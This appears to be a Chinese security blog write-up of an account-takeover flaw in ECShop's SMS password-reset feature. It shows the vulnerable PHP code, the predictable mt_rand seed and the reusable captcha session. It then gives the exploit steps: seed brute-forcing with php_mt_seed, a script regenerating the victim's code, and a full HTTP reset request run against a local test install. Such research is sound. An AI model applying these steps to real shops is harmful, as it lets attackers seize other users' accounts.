ecshop一处有趣的任意用户登录

问题出现在user.php发送短信验证码处

elseif($action == 'ajax_validate_sms'){
    require('admin/includes/lib_main.php');
    $time= time();
    $date = date('Ymd',$time);
    $pre_date = date('Ymd',$time-64000);
//    $ip = $_SERVER["REMOTE_ADDR"];
    $ip = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
    if(file_exists(__FILE__.$pre_date.".txt"))unlink(__FILE__.$pre_date.".txt");//删除昨日记录
    if(file_exists(__FILE__.$date.".txt")){
        $send_limit_ip = file_get_contents(__FILE__.$date.".txt");
        $data = unserialize($send_limit_ip);
        if(isset($data[$ip]) && $data[$ip]>9){
            make_json_result('当前IP已超当日限制');exit;
        }
    }

    if(isset($_SESSION['last_send']) && $time<((int)$_SESSION['last_send']+120)){
        make_json_result(($_SESSION['last_send']+120-$time).'秒后再试');exit;
    }


    //判断是否经过验证码验证
    echo getmypid().'<br>';
    if(!isset($_SESSION['v_code']) || $_SESSION['v_code']!='true'){
        make_json_result('v_code fail');exit;
    }


    $_SESSION['v_code'] = 'false';
    $mobile = json_decode(str_replace('\\','',$_POST['JSON']),1);
    $mobile = $mobile['mobile']?$mobile['mobile']:false;
    $is_send = 'fail';

    if($mobile){
        $sms_code = mt_rand(100000,999999);
        echo $sms_code.'<br>';
        include_once('includes/cls_sms.php');
        $sms =new sms();
        $_SESSION['sms_code'] = $sms_code;

        $is_send = $sms->send($mobile,'您本次的验证码为:'.$sms_code.',请不要把验证码泄露给其他人,如非本人操作可不用理会');
        $is_send = $is_send?'succ':'fail';
    }
    //短信发送限制
    if($is_send == 'succ'){
        $_SESSION['last_send'] = $time;
        $data = isset($data)?$data:array();
        $data[$ip] = isset($data[$ip])?($data[$ip])+1:1;
        file_put_contents(__FILE__.$date.".txt",serialize($data));
    }
    make_json_result($is_send);exit;

这里未进行随机播种,导致可爆破种子,同一进程中的种子相同。

再看图形验证码处

}elseif($action == 'ajax_validate_vcode'){
    /* 验证码检查 */

    if ((intval($_CFG['captcha']) && CAPTCHA_REGISTER) && gd_version() > 0)
    {
        require('admin/includes/lib_main.php');
        $code = str_replace('\\','',$_REQUEST['JSON']);
        $code = json_decode($code,1);
        $code = $code['code'];
        if(!$code){
            make_json_result('failed');exit;
        }

        /* 检查验证码 */
        include_once('includes/cls_captcha.php');
        $validator = new captcha();
        if ($validator->check_word($code)){
            echo getmypid().'<br>';
            $_SESSION['v_code'] = 'true';
            make_json_result('succ');exit;
        }else{
            make_json_result('failed');exit;
        }
    }

追踪check_word函数

function check_word($word)
{
    $recorded = isset($_SESSION[$this->session_word]) ? base64_decode($_SESSION[$this->session_word]) : '';
    $given    = $this->encrypts_word(strtoupper($word));

    return (preg_match("/$given/", $recorded));
}

对session进行校验但未销毁,导致可以复用。

提交验证码时会操作session又进行了mt_rand操作

《ecshop一处有趣的任意用户登录》

流程如下:

刷新图形验证码rand1一次->发送短信验证码rand2次

攻击思路如下:
前两次短信验证码填写成我们的手机号,第三次填写成任意用户的。

每次发送短信验证码前,发送一次图形验证码数据包(可以复用)

图形验证码数据包

《ecshop一处有趣的任意用户登录》

《ecshop一处有趣的任意用户登录》

《ecshop一处有趣的任意用户登录》

《ecshop一处有趣的任意用户登录》

三个验证码分别是

test1用户 13666666666 898742

test1用户 13666666666 337189

test2用户 13888888888 938180

test1为我们的手机号码

test2为需要重置的号码

爆破种子

./php_mt_seed 0 0 0 0 898742 898742 100000 999999 0 0 0 0 0 0 0 0 337189 337189 100000 999999

《ecshop一处有趣的任意用户登录》

成功

获取test2用户的验证码

<?php
mt_srand(746057032);
for($i=0;$i<10;$i++){
    $code=mt_rand(100000,999999);
    echo "$code $code 10000 99999 <br>";
}

?>

test2用户验证码为938180

逻辑为: 刷新图形验证码(rand一次)->发送短信验证码(rand二次)->刷新图形验证码(rand一次)-发送短信验证码(rand二次)->刷新图形验证码(rand一次)->这次就是第三次用户的短信验证码

《ecshop一处有趣的任意用户登录》

《ecshop一处有趣的任意用户登录》

《ecshop一处有趣的任意用户登录》

追踪sms_get_password

elseif($action == 'sms_get_password'){
    include_once(ROOT_PATH . 'includes/lib_passport.php');

    if ($_POST['sms_code'] != '' && $_POST['username'] != '')
    {
        $sms_code = trim($_POST['sms_code']);
        $username  = $_POST['username'];
        //判断短信验证码
        if($sms_code == $_SESSION['sms_code']){
            $user_info = $user->get_profile_by_name($username);
            // 判断会员是否存在
            if (!$user_info['user_id']) {
                show_message(sprintf($_LANG['username_inexistent'], $username), $_LANG['back_page_up'], 'user.php?act=sms_get_password', 'info');
            }
            $_SESSION['user_id'] = $user_info['user_id'];
            $_SESSION['change_password'] = 'true';
            $user->set_cookie($username);
            $user->set_session($username);
            $smarty->assign('action', 'reset_password_rep');
            $smarty->assign('uid', $user_info['user_id']);
            $smarty->display('user_passport.dwt');
        }else{
            show_message('短信验证码错误', '返回上一页', 'user.php?act=sms_get_password', 'info');
        }
    }
    else
    {
        //显示用户名和email表单
        $smarty->display('user_passport.dwt');
    }

可以看到这里将username填写成test2就可以登录test2用户了

《ecshop一处有趣的任意用户登录》

修改如下

POST /user.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Referer: http://127.0.0.1/user.php?act=sms_get_password
Cookie: timezone=8; PHPSESSID=ind3v34gcjntihcsmqvs4utc15; crv_forward_url=http%3A%2F%2F127.0.0.1%2Fmall%2Fcart.php; crv_username=admin; crv_auth=461b1-P-RJHQIrouukjcgvIejZ7dfCAUO6mrMpQ-S-T-S-CI4jr3OzFW7K77j3eZdRwz-P-VxP7HJPTUf1I4PL6H3AL0BFrj; ECS[visit_times]=19; think_template=default; ECS_ID=6d0c4ed17a8ce977ad817a1c987643817c5720bc
X-Forwarded-For: 127.0.0.12
Connection: close
Upgrade-Insecure-Requests: 1

username=test2&code=6bl9&sms_code=938180&act=sms_get_password&submit=%E6%8F%90+%E4%BA%A4

成功登录

《ecshop一处有趣的任意用户登录》

《ecshop一处有趣的任意用户登录》

本文来自ringk3y,经授权后发布,本文观点不代表MottoIN立场,转载请联系原作者。

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code